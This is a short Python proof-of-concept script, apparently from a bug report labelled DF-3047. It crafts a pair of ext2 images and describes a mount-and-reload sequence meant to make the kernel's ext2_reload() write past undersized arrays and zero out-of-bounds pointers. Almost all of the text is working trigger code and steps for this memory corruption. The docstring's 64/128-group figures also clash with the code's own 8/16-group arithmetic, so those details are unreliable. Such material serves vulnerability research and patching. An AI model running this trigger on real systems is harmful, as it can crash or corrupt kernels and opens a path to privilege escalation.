DF-3047 / craft.py
#!/usr/bin/env python3 """Craft the DF-3047 trigger pair: imgA: valid 64-group ext2 fs packed into the first half of a 128MB file imgB: valid 128-group ext2 fs filling the same 128MB file Mount imgA read-only, overwrite the backing file with imgB, then `mount -u -o reload`: ext2_compute_sb_data() mutates fs->e2fs_gcount to 128 and re-allocates e2fs_gd/e2fs_contigdirs (leaking the old ones), but e2fs_maxcluster/e2fs_clustersum stay sized for 64 groups; ext2_reload()'s step-3 loop then writes 128 entries into the 64-entry arrays and bzero()s cs_sum pointers read out of bounds. Usage: craft.py <dir> """ import subprocess, sys, os SZ_A = 64 * 1024 * 1024 # 64 MB = 65536 blocks = 8 groups... no: 1K blocks SZ_B = 128 * 1024 * 1024 # with b=1024, bpg = 8192 blocks/group: # 64MB = 65536 blocks -> gcount 8 # 128MB = 131072 blocks -> gcount 16 # We want a bigger ratio: use b=4096? bpg = 32768; 64MB = 16384 blocks -> # gcount = 1. No. 1K blocks give max groups per byte. 64MB->8, 128MB->16. # 8 -> 16 doubles the arrays; fine (old maxcluster = 32B, clustersum = 128B). def mk(path, megs, groups_expected): subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', '-I', '128', '-N', str(groups_expected * 1024), '-O', '^metadata_csum,^64bit', path, str(megs * 1024)], check=True) def main(d): a = os.path.join(d, 'imgA64.img') b = os.path.join(d, 'imgB128.img') mk(a, 64, 8) mk(b, 128, 16) # pack imgA into the first 64MB of a 128MB file (device must be big # enough for imgB's group descriptors at reload time) dev = os.path.join(d, 'dev128.img') with open(dev, 'wb') as out: with open(a, 'rb') as fa: out.write(fa.read()) out.truncate(SZ_B) print("OK:", a, b, dev) if __name__ == '__main__': main(sys.argv[1]) |